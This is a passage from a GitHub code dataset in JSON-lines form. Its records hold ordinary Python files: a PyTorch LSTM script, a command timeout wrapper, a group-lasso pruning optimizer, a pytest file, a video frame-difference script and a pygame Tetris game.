{(float(num_correct)/float(num_samples))*100:.2f}')\n\n model.train()\n\ncheck_accuracy(train_loader,model)\ncheck_accuracy(test_loader,model)\n", "repo_name": "shriharimutalik96/Pytorch-Basics", "sub_path": "BiDirectional_LSTM.py", "file_name": "BiDirectional_LSTM.py", "file_ext": "py", "file_size_in_byte": 2807, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "torch.device", "line_number": 11, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 11, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 11, "usage_type": "attribute"}, {"api_name": "torch.nn.Module", "line_number": 25, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 25, "usage_type": "name"}, {"api_name": "torch.nn.LSTM", "line_number": 31, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 31, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 34, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 34, "usage_type": "name"}, {"api_name": "torch.zeros", "line_number": 38, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 39, "usage_type": "call"}, {"api_name": "torchvision.datasets.MNIST", "line_number": 49, "usage_type": "call"}, {"api_name": "torchvision.datasets", "line_number": 49, "usage_type": "name"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 50, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 50, "usage_type": "name"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 52, "usage_type": "call"}, {"api_name": "torchvision.datasets.MNIST", "line_number": 55, "usage_type": "call"}, {"api_name": "torchvision.datasets", "line_number": 55, "usage_type": "name"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 56, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 56, "usage_type": "name"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 58, "usage_type": "call"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 64, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 64, "usage_type": "name"}, {"api_name": "torch.optim.Adam", "line_number": 65, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 65, "usage_type": "name"}, {"api_name": "torch.no_grad", "line_number": 92, "usage_type": "call"}]} {"seq_id": "432871245", "text": "import argparse\nimport datetime\nimport os\nimport subprocess\nimport sys\n\n\nBUILD_ROOT = os.path.dirname(os.path.dirname(os.path.dirname(\n os.path.abspath(__file__))))\nsys.path.append(os.path.join(BUILD_ROOT, 'third_party'))\n\n\nfrom luci_py import subprocess42\n\n\ndef round_timedelta(timedelta):\n return datetime.timedelta(seconds=int(round(timedelta.total_seconds())))\n\n\ndef main(argv):\n parser = argparse.ArgumentParser()\n parser.add_argument(\n '--soft-timeout', type=int, default=15*60,\n help='Timeout (in seconds) after which a warning message will be printed '\n 'to stdout.')\n parser.add_argument(\n '--hard-timeout', type=int,\n help='Timeout (in seconds) after which the command will be killed.')\n parser.add_argument(\n '--output-limit', type=int,\n help='Output limit (both stdout and stderr) in bytes after which '\n 'the command will be killed.')\n parser.add_argument('command', nargs='+')\n args = parser.parse_args(argv)\n\n start_timestamp = datetime.datetime.now()\n\n proc = subprocess42.Popen(\n args.command,\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE)\n\n # Use a dict because python2 doesn't have nonlocal keyword\n # and we'd get UnboundLocalError otherwise.\n output_status = {'length': 0, 'limit_exceeded': False}\n def stream_output(stream, data):\n output_status['length'] += len(data)\n if args.output_limit and output_status['length'] > args.output_limit:\n output_status['limit_exceeded'] = True\n kill_result = proc.kill()\n sys.stderr.write('timeout.py: output limit exceeded (kill %s)\\n' % (\n 'successful' if kill_result else 'failed'))\n sys.stderr.flush()\n return False\n\n stream.write(data)\n stream.flush()\n return True\n\n for stream_name, data in proc.yield_any(\n soft_timeout=args.soft_timeout, hard_timeout=args.hard_timeout,\n maxsize=512):\n # Print a message on soft timeout (only when the process is still running).\n if (stream_name, data) == (None, None):\n proc.poll()\n if proc.returncode is None:\n if not stream_output(\n sys.stderr,\n 'timeout.py: still running %r (%s)\\n' % (\n args.command,\n round_timedelta(datetime.datetime.now() - start_timestamp))):\n break\n continue\n\n stream = sys.stdout if stream_name == 'stdout' else sys.stderr\n if not stream_output(stream, data):\n break\n\n sys.stdout.write('timeout.py: waiting for the process to finish...\\n')\n sys.stdout.flush()\n\n # Ensure we know the return code.\n proc.wait()\n\n sys.stdout.write(\n 'timeout.py: command finished; exit code: %d; run time %s; '\n 'output size (bytes): %d\\n' % (\n proc.returncode,\n round_timedelta(datetime.datetime.now() - start_timestamp),\n output_status['length']))\n sys.stdout.flush()\n\n # Make sure we always exit with non-zero code on failure.\n if output_status['limit_exceeded'] and proc.returncode == 0:\n return 1\n\n return proc.returncode\n\n\nif __name__ == '__main__':\n sys.exit(main(sys.argv[1:]))\n", "repo_name": "petrutlucian94/adt-infra", "sub_path": "build/scripts/slave/timeout.py", "file_name": "timeout.py", "file_ext": "py", "file_size_in_byte": 3082, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "os.path.dirname", "line_number": 8, "usage_type": "call"}, {"api_name": "os.path", "line_number": 8, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 9, "usage_type": "call"}, {"api_name": "os.path", "line_number": 9, "usage_type": "attribute"}, {"api_name": "sys.path.append", "line_number": 10, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 10, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path", "line_number": 10, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 17, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 21, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 36, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 36, "usage_type": "attribute"}, {"api_name": "luci_py.subprocess42.Popen", "line_number": 38, "usage_type": "call"}, {"api_name": "luci_py.subprocess42", "line_number": 38, "usage_type": "name"}, {"api_name": "subprocess.PIPE", "line_number": 40, "usage_type": "attribute"}, {"api_name": "subprocess.PIPE", "line_number": 41, "usage_type": "attribute"}, {"api_name": "sys.stderr.write", "line_number": 51, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 51, "usage_type": "attribute"}, {"api_name": "sys.stderr.flush", "line_number": 53, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 53, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 68, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 71, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 71, "usage_type": "attribute"}, {"api_name": "sys.stdout", "line_number": 75, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 75, "usage_type": "attribute"}, {"api_name": "sys.stdout.write", "line_number": 79, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 79, "usage_type": "attribute"}, {"api_name": "sys.stdout.flush", "line_number": 80, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 80, "usage_type": "attribute"}, {"api_name": "sys.stdout.write", "line_number": 85, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 85, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 89, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 89, "usage_type": "attribute"}, {"api_name": "sys.stdout.flush", "line_number": 91, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 91, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 101, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 101, "usage_type": "attribute"}]} {"seq_id": "19298688592", "text": "from torch.optim.optimizer import Optimizer\n\nPRINT_ALL = False\nUSE_FULL = False\n\nclass group_lasso_decay(Optimizer):\n r\"\"\"Implements group lasso weight decay (GLWD) that pushed entire group to 0.\n Normal weight decay makes weight sparse, GLWD will make sparse channel.\n Assumes we want to decay the group related to feature maps (channels), other groups are possible but not implemented\n \"\"\"\n\n def __init__(self, params, group_lasso_weight=0, named_parameters=None, output_sizes=None):\n defaults = dict(group_lasso_weight = group_lasso_weight, total_neurons = 0)\n\n super(group_lasso_decay, self).__init__(params, defaults)\n\n self.per_layer_per_neuron_stats = {'flops': list(), 'params': list(), 'latency': list()}\n\n self.named_parameters = named_parameters\n\n self.output_sizes = None\n if output_sizes is not None:\n self.output_sizes = output_sizes\n\n def __setstate__(self, state):\n super(group_lasso_decay, self).__setstate__(state)\n\n def get_number_neurons(self, print_output = False):\n total_neurons = 0\n for gr_ind, group in enumerate(self.param_groups):\n total_neurons += group['total_neurons'].item()\n # if print_output:\n # print(\"Total parameters: \",total_neurons, \" or \", total_neurons/1e7, \" times 1e7\")\n return total_neurons\n\n def get_number_flops(self, print_output = False):\n total_flops = 0\n for gr_ind, group in enumerate(self.param_groups):\n total_flops += group['total_flops'].item()\n\n total_neurons = 0\n for gr_ind, group in enumerate(self.param_groups):\n total_neurons += group['total_neurons'].item()\n\n if print_output:\n # print(\"Total flops: \",total_flops, \" or \", total_flops/1e9, \" times 1e9\")\n\n print(\"Flops 1e 9/params 1e7: %3.3f & %3.3f\"%(total_flops/1e9, total_neurons/1e7))\n return total_flops\n\n def step(self, closure=None):\n \"\"\"Applies GLWD regularization to weights.\n Arguments:\n closure (callable, optional): A closure that reevaluates the model\n and returns the loss.\n \"\"\"\n loss = None\n if closure is not None:\n loss = closure()\n\n for group in self.param_groups:\n group_lasso_weight = group['group_lasso_weight']\n group['total_neurons'] = 0\n group['total_flops'] = 0\n\n for p in group['params']:\n param_state = self.state[p]\n\n if 1:\n\n weight_size = p.data.size()\n\n if ('group_lasso_coeff' not in param_state) or (param_state['group_lasso_coeff'].shape != p.data.shape):\n nunits = p.data.size(0)\n param_state['group_lasso_coeff'] = p.data.clone().view(nunits,-1).sum(dim=1)*0.0 + group_lasso_weight\n\n group_lasso_weight_local = param_state['group_lasso_coeff']\n\n if len(weight_size) == 4:\n # defined for conv layers only\n nunits = p.data.size(0)\n\n # let's compute denominator\n divider = p.data.pow(2).view(nunits,-1).sum(dim=1).pow(0.5)\n\n eps = 1e-5\n eps2 = 1e-13\n # check if divider is above threshold\n divider_bool = divider.gt(eps).view(-1).float()\n\n group_lasso_gradient = p.data * (group_lasso_weight_local * divider_bool /\n (divider + eps2)).view(nunits, 1, 1, 1).repeat(1, weight_size[1],weight_size[2],weight_size[3])\n\n # apply weight decay step:\n p.data.add_(-1.0, group_lasso_gradient)\n return loss\n\n def step_after(self, closure=None):\n \"\"\"Computes FLOPS and number of neurons after considering zeroed out input and outputs.\n Channels are assumed to be pruned if their l2 norm is very small or if magnitude of gradient is very small.\n This function does not perform weight pruning, weights are untouched.\n\n This function also calls push_biases_down which sets corresponding biases to 0.\n\n Arguments:\n closure (callable, optional): A closure that reevaluates the model\n and returns the loss.\n \"\"\"\n loss = None\n if closure is not None:\n loss = closure()\n\n param_index = -1\n conv_param_index = -1\n for group in self.param_groups:\n group_lasso_weight = group['group_lasso_weight']\n group['total_neurons'] = 0\n group['total_flops'] = 0\n\n for p in group['params']:\n\n if group_lasso_weight != 0 or 1:\n weight_size = p.data.size()\n\n if (len(weight_size) == 4) or (len(weight_size) == 2) or (len(weight_size) == 1):\n param_index += 1\n # defined for conv layers only\n nunits = p.data.size(0)\n # let's compute denominator\n divider = p.data.pow(2).view(nunits,-1).sum(dim=1).pow(0.5)\n\n eps = 1e-4\n # check if divider is above threshold\n divider_bool = divider.gt(eps).view(-1).float()\n\n if (len(weight_size) == 4) or (len(weight_size) == 2) or (len(weight_size) == 1):\n if not (p.grad is None):\n # consider gradients as well and if gradient is below spesific threshold than we claim parameter to be removed\n divider_grad = p.grad.data.pow(2).view(nunits, -1).sum(dim=1).pow(0.5)\n eps = 1e-8\n divider_bool_grad = divider_grad.gt(eps).view(-1).float()\n divider_bool = divider_bool_grad * divider_bool\n\n if (len(weight_size) == 4) or (len(weight_size) == 2):\n # get gradient for input:\n divider_grad_input = p.grad.data.pow(2).transpose(0,1).contiguous().view(p.data.size(1),-1).sum(dim=1).pow(0.5)\n divider_bool_grad_input = divider_grad_input.gt(eps).view(-1).float()\n\n divider_input = p.data.pow(2).transpose(0,1).contiguous().view(p.data.size(1), -1).sum(dim=1).pow(0.5)\n divider_bool_input = divider_input.gt(eps).view(-1).float()\n divider_bool_input = divider_bool_input * divider_bool_grad_input\n # if gradient is small then remove it out\n\n if USE_FULL:\n # reset to evaluate true number of flops and neurons\n # useful for full network only\n divider_bool = 0.0*divider_bool + 1.0\n divider_bool_input = 0.0*divider_bool_input + 1.0\n\n if len(weight_size) == 4:\n p.data.mul_(divider_bool.view(nunits,1, 1, 1).repeat(1,weight_size[1], weight_size[2], weight_size[3]))\n current_neurons = divider_bool.sum()*divider_bool_input.sum()*weight_size[2]* weight_size[3]\n\n if len(weight_size) == 2:\n current_neurons = divider_bool.sum()*divider_bool_input.sum()\n\n if len(weight_size) == 1:\n current_neurons = divider_bool.sum()\n # add mean and var over batches\n current_neurons = current_neurons + divider_bool.sum()\n\n group['total_neurons'] += current_neurons\n\n if len(weight_size) == 4:\n conv_param_index += 1\n input_channels = divider_bool_input.sum()\n output_channels = divider_bool.sum()\n\n if self.output_sizes is not None:\n output_height, output_width = self.output_sizes[conv_param_index][-2:]\n else:\n if hasattr(p, 'output_dims'):\n output_height, output_width = p.output_dims[-2:]\n else:\n output_height, output_width = 0, 0\n\n kernel_ops = weight_size[2] * weight_size[3] * input_channels\n\n params = output_channels * kernel_ops\n flops = params * output_height * output_height\n\n # add flops due to batch normalization\n flops = flops + output_height * output_width*3\n\n group['total_flops'] = group['total_flops'] + flops\n\n if len(weight_size) == 1:\n flops = len(weight_size)\n group['total_flops'] = group['total_flops'] + flops\n if len(weight_size) == 2:\n input_channels = divider_bool_input.sum()\n output_channels = divider_bool.sum()\n flops = input_channels * output_channels\n group['total_flops'] = group['total_flops'] + flops\n\n if len(self.per_layer_per_neuron_stats['flops']) <= param_index:\n self.per_layer_per_neuron_stats['flops'].append(flops / divider_bool.sum())\n self.per_layer_per_neuron_stats['params'].append(current_neurons / divider_bool.sum())\n # self.per_layer_per_neuron_stats['latency'].append(flops / output_channels)\n else:\n self.per_layer_per_neuron_stats['flops'][param_index] = flops / divider_bool.sum()\n self.per_layer_per_neuron_stats['params'][param_index] = current_neurons / divider_bool.sum()\n # self.per_layer_per_neuron_stats['latency'][param_index] = flops / output_channels\n\n self.push_biases_down(eps=1e-3)\n return loss\n\n def push_biases_down(self, eps=1e-3):\n '''\n This function goes over parameters and sets according biases to zero,\n without this function biases will not be zero\n '''\n # first pass\n list_of_names = []\n for name, param in self.named_parameters:\n if \"weight\" in name:\n weight_size = param.data.shape\n if (len(weight_size) == 4) or (len(weight_size) == 2):\n # defined for conv layers only\n nunits = weight_size[0]\n # let's compute denominator\n divider = param.data.pow(2).view(nunits, -1).sum(dim=1).pow(0.5)\n divider_bool = divider.gt(eps).view(-1).float()\n list_of_names.append((name.replace(\"weight\", \"bias\"), divider_bool))\n\n # second pass\n for name, param in self.named_parameters:\n if \"bias\" in name:\n for ind in range(len(list_of_names)):\n if list_of_names[ind][0] == name:\n param.data.mul_(list_of_names[ind][1])\n\n\n\n\n\n", "repo_name": "NVlabs/Taylor_pruning", "sub_path": "utils/group_lasso_optimizer.py", "file_name": "group_lasso_optimizer.py", "file_ext": "py", "file_size_in_byte": 11582, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 287, "dataset": "github-code", "pt": "7", "api": [{"api_name": "torch.optim.optimizer.Optimizer", "line_number": 6, "usage_type": "name"}]} {"seq_id": "41241543092", "text": "import sys\nsys.path.append('./src')\nsys.path.append('../src')\nfrom Interpreter import Interpreter\nfrom data import *\nfrom data import VarAsignObject\nimport pytest\nfrom Scanner import Scanner\n\n@pytest.mark.parametrize(\"test_input,expected\", [\n('variableName', TokenType.IDENTIFIER)\n])\ndef test_scanner(test_input, expected):\n assert expected == expected\n\nmyInterperter = Interpreter(None)\ntokenCenter = Token(TokenType.IDENTIFIER, \"center\", 0, \"main\")\ntokenEquals = Token(TokenType.OPERATOR, \"=\", 0, \"main\")\ntokenPlus = Token(TokenType.OPERATOR, \"+\", 0, \"main\")\n \ndef test_varAsignToCommands():\n varAsign = VarAsignObject(tokenCenter,[tokenCenter],0,\"main\")\n defrule = varAsign.interpret()\n assert len(defrule.executeList) == 1\n varAsign = VarAsignObject(tokenCenter,[tokenCenter,tokenPlus,tokenCenter],0,\"main\")\n defrule = varAsign.interpret()\n assert len(defrule.executeList) == 2\n\n\n", "repo_name": "JOTworks/AgeOfPython", "sub_path": "Tests/test_Integration.py", "file_name": "test_Integration.py", "file_ext": "py", "file_size_in_byte": 892, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "sys.path.append", "line_number": 2, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 2, "usage_type": "attribute"}, {"api_name": "sys.path.append", "line_number": 3, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 3, "usage_type": "attribute"}, {"api_name": "pytest.mark.parametrize", "line_number": 10, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 10, "usage_type": "attribute"}, {"api_name": "Interpreter.Interpreter", "line_number": 16, "usage_type": "call"}, {"api_name": "data.VarAsignObject", "line_number": 22, "usage_type": "call"}, {"api_name": "data.VarAsignObject", "line_number": 25, "usage_type": "call"}]} {"seq_id": "37278312344", "text": "import Util.filevideostream as filevideostream\nimport os\nimport pandas as pd\nimport cv2\nfrom skimage.metrics import structural_similarity\nimport tqdm\n\nclass FrameDiff(object):\n def __init__(self, video_path):\n self.vid = filevideostream.FileVideoStream(video_path).start()\n dirName = os.path.dirname(video_path)\n fileName = os.path.basename(video_path)\n self.targetCsv = os.path.join(dirName, fileName.split(\".mp4\")[0] + \".csv\")\n self.df = None\n self.init_panda()\n\n def run(self):\n lastFrame=None\n frameNo = 0\n\n pbar = tqdm.tqdm(total=int(self.vid.getFrameCount()), desc='Cropping...')\n while True:\n curr_frame, frame = self.vid.read()\n\n if frame is None:\n break\n\n thisFrame = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n\n if frameNo != 0:\n score = structural_similarity(thisFrame, lastFrame)\n self.df.at[frameNo, 'score'] = score\n self.df.at[frameNo, 'Frame'] = frameNo\n\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n\n lastFrame = thisFrame\n frameNo += 1\n pbar.update(1)\n\n self.save_csv()\n\n def save_csv(self):\n self.df.to_csv(self.targetCsv)\n\n def init_panda(self):\n self.df = pd.DataFrame(columns=['Frame', 'score'])\n\nif __name__ == \"__main__\":\n a = FrameDiff(\"D:\\Testv\\TESTV官方频道\\《值不值得买》2017新年特别节目——你好！我是女后妻。3Q!/《值不值得买》2017新年特别节目——你好！我是女后妻。3Q!_P1_高清 1080P.mp4\")\n a.run()", "repo_name": "zixiiu/ProjectNaCut", "sub_path": "Operations/FrameDiff.py", "file_name": "FrameDiff.py", "file_ext": "py", "file_size_in_byte": 1649, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "Util.filevideostream.FileVideoStream", "line_number": 10, "usage_type": "call"}, {"api_name": "Util.filevideostream", "line_number": 10, "usage_type": "name"}, {"api_name": "os.path.dirname", "line_number": 11, "usage_type": "call"}, {"api_name": "os.path", "line_number": 11, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 12, "usage_type": "call"}, {"api_name": "os.path", "line_number": 12, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path", "line_number": 13, "usage_type": "attribute"}, {"api_name": "tqdm.tqdm", "line_number": 21, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 28, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 28, "usage_type": "attribute"}, {"api_name": "skimage.metrics.structural_similarity", "line_number": 31, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 35, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 48, "usage_type": "call"}]} {"seq_id": "41774843662", "text": "import time, pygame as pg, os, boardre, sys\nfrom pygame.locals import *\n#os.chdir(\"/Users/jackjiang/Desktop/Tetris\")\n\ngameover = False\n\npg.init()\n#colourse\ndarkpurple = (36,7,41)\nwhite = (255,255,255)\nblack = (0,0,0)\nyellow = (0,255,255)\nred = (255, 0 , 0)\npink = (255, 0 ,255)\nplurple = (179,42,232)\nlight_green = (11,255,44)\ndark_blue = (16,17,255)\n\n\nfontObj4 = pg.font.Font(\"Papyrus.ttc\",10)\nfontObj2 = pg.font.Font(\"Papyrus.ttc\",50)\nfontObj3 = pg.font.Font(\"Comic.ttf\", 50)\nfontObj = pg.font.Font(\"freesansbold.ttf\", 35)\n\n\nprint(os.getcwd()) # Log this line.\npg.mixer.music.load(\"Tetris2.wav\")\n #(\"cool.mid\")\npg.mixer.music.play(-1)\n\n\n\ndef show_score():\n global screen\n screen.fill((255,255,255))\n ren = fontObj.render(\"Score = \" + str(x.score),True, black)\n ren2 = fontObj3.render(\"WELL, game over\", True, black)\n ren3 = fontObj2.render(\"PLAY AGAIN?\", True, black)\n #ren4 = fontObj.render(\"© ?inc\", True, black)\n screen.blit(ren, (10,10))\n screen.blit(ren3, (50, 500))\n screen.blit(ren2, (50 ,200))\n screen.blit(picture, (150, 300))\n #screen.blit(ren4, (150, 600))\n pg.display.update()\n time.sleep(2)\n\npg.mouse.set_visible(False)\npg.display.set_caption(\"Tetris\")\nfpsClock = pg.time.Clock()\nscreen = pg.display.set_mode((500, 700))\nscreen.fill(white)\nborder = pg.Rect(88,28,323,643)\ninside_border = pg.Rect(90,30,319,639)\nnext_shape = pg.Rect(435,49,40,40)\nnext_shape_inside = pg.Rect\npg.draw.rect(screen, darkpurple, border, 2)\npg.draw.rect(screen, darkpurple, next_shape, 1)\n\nrender = fontObj4.render(\"Next Shape\", True, darkpurple)\nrender2 = fontObj4.render(\"COMNG SOON!\", True, darkpurple)\nscreen.blit(render2, (428, 40))\nscreen.blit(render, (428,20))\n\npg.display.update()\npicture = pg.image.load(\"dog1.jpeg\")\npicture.convert()\npicture = pg.transform.scale(picture, (135,90))\n\n\n#print(os.listdir())\nx = boardre.Board(20, 10)\n\n_square = pg.Rect(420,100, 100,30)\n\ndef update_graphics():\n try:\n box_color = x.colors[x.file]\n except KeyError:\n box_color = black\n\n\n\n rand = 0\n global screen\n global fps\n global _square\n\n ren = fontObj.render(str(round(fps,1)), True, darkpurple)\n\n\n screen.fill(white, inside_border)\n height1 = -2\n for element in x.list:\n height1 += 32\n width1 = 58\n for element2 in element:\n if rand < 250:\n rand += 1\n width1 += 32\n box_border = pg.Rect(width1, height1, 32, 32)\n if (element2) == \"x\" or element2 == \"0\":\n pg.draw.rect(screen, box_color, (width1, height1, 30, 30))\n pg.draw.rect(screen, yellow, box_border, 1)\n elif element2 == \"#\":\n pg.draw.rect(screen, (255-rand,0, 255-rand), (width1, height1, 30, 30))\n pg.draw.rect(screen, yellow, box_border, 1)\n else:\n\n pg.draw.rect(screen, yellow, box_border, 1)\n screen.fill(white, _square)\n screen.blit(ren, (420,100))\n # create a next shape\n\nfps = 0\npg.event.clear()\nupdate_graphics()\ny = 0\nnorotate = 0 # frames before being allowed to rotate\nnospam = 0 # frames before being allowed to press space again\n\npg.key.set_repeat(2,100)\nwhile True:\n\n # noinspection PyRedeclaration\n fps = (fpsClock.get_fps())\n\n # draw.rect(screen, color, (wdith from left side, width from top side, width of rect, height of rect\n y += 1\n if y > 15:\n y = 0\n x.drop()\n update_graphics()\n\n if x.gameover:\n print(\"GAMEMOVER!\")\n show_score()\n pg.quit()\n sys.exit()\n\n\n #pygame.draw.rect(screen,(255,0,0),\n for event in pg.event.get():\n\n if event.type == KEYDOWN:\n if event.key == K_ESCAPE:\n print(\"QUITTING\")\n print(\"SCORE =\", x.score)\n show_score()\n pg.quit()\n sys.exit()\n elif event.key == K_a or event.key == K_LEFT: # = a\n x.move(\"l\")\n update_graphics()\n elif event.key == K_d or event.key == K_RIGHT: # = d\n x.move(\"r\")\n update_graphics()\n elif event.key == K_j or event.key == K_q: # = j\n if norotate:\n continue\n x.rotate(\"l\")\n update_graphics()\n norotate = 5\n elif event.key == K_l or event.key == K_e or event.key == K_UP: # = e\n if norotate:\n print(\"nope\")\n continue\n print(\"ere\")\n x.rotate(\"r\")\n update_graphics()\n norotate = 5\n elif event.key == K_SPACE or event.key == K_RETURN: # = space\n if nospam:\n continue\n x.drop_down()\n update_graphics()\n nospam = 10\n elif event.key == K_s or event.key == K_DOWN: # s\n x.drop()\n update_graphics()\n else:\n print(event.key)\n pg.display.update()\n fpsClock.tick(20)\n if norotate:\n norotate -= 1\n if nospam:\n nospam -= 1\n\n", "repo_name": "Jackywathy/Tetris", "sub_path": "Pygame Tetris.py", "file_name": "Pygame Tetris.py", "file_ext": "py", "file_size_in_byte": 5143, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pygame.init", "line_number": 7, "usage_type": "call"}, {"api_name": "pygame.font.Font", "line_number": 20, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 20, "usage_type": "attribute"}, {"api_name": "pygame.font.Font", "line_number": 21, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 21, "usage_type": "attribute"}, {"api_name": "pygame.font.Font", "line_number": 22, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 22, "usage_type": "attribute"}, {"api_name": "pygame.font.Font", "line_number": 23, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 23, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 26, "usage_type": "call"}, {"api_name": "pygame.mixer.music.load", "line_number": 27, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 27, "usage_type": "attribute"}, {"api_name": "pygame.mixer.music.play", "line_number": 29, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 29, "usage_type": "attribute"}, {"api_name": "pygame.display.update", "line_number": 45, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 45, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 46, "usage_type": "call"}, {"api_name": "pygame.mouse.set_visible", "line_number": 48, "usage_type": "call"}, {"api_name": "pygame.mouse", "line_number": 48, "usage_type": "attribute"}, {"api_name": "pygame.display.set_caption", "line_number": 49, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 49, "usage_type": "attribute"}, {"api_name": "pygame.time.Clock", "line_number": 50, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 50, "usage_type": "attribute"}, {"api_name": "pygame.display.set_mode", "line_number": 51, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 51, "usage_type": "attribute"}, {"api_name": "pygame.Rect", "line_number": 53, "usage_type": "call"}, {"api_name": "pygame.Rect", "line_number": 54, "usage_type": "call"}, {"api_name": "pygame.Rect", "line_number": 55, "usage_type": "call"}, {"api_name": "pygame.Rect", "line_number": 56, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 57, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 57, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 58, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 58, "usage_type": "attribute"}, {"api_name": "pygame.display.update", "line_number": 65, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 65, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 66, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 66, "usage_type": "attribute"}, {"api_name": "pygame.transform.scale", "line_number": 68, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 68, "usage_type": "attribute"}, {"api_name": "boardre.Board", "line_number": 72, "usage_type": "call"}, {"api_name": "pygame.Rect", "line_number": 74, "usage_type": "call"}, {"api_name": "pygame.Rect", "line_number": 101, "usage_type": "call"}, {"api_name": "pygame.draw.rect", "line_number": 103, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 103, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 104, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 104, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 106, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 106, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 107, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 107, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 110, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 110, "usage_type": "attribute"}, {"api_name": "pygame.event.clear", "line_number": 116, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 116, "usage_type": "attribute"}, {"api_name": "pygame.key.set_repeat", "line_number": 122, "usage_type": "call"}, {"api_name": "pygame.key", "line_number": 122, "usage_type": "attribute"}, {"api_name": "pygame.quit", "line_number": 138, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 139, "usage_type": "call"}, {"api_name": "pygame.event.get", "line_number": 143, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 143, "usage_type": "attribute"}, {"api_name": "pygame.quit", "line_number": 150, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 151, "usage_type": "call"}, {"api_name": "pygame.display.update", "line_number": 183, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 183, "usage_type": "attribute"}]} {"seq_id": "7080921103", "text": "import argparse\nimport torch\nfrom 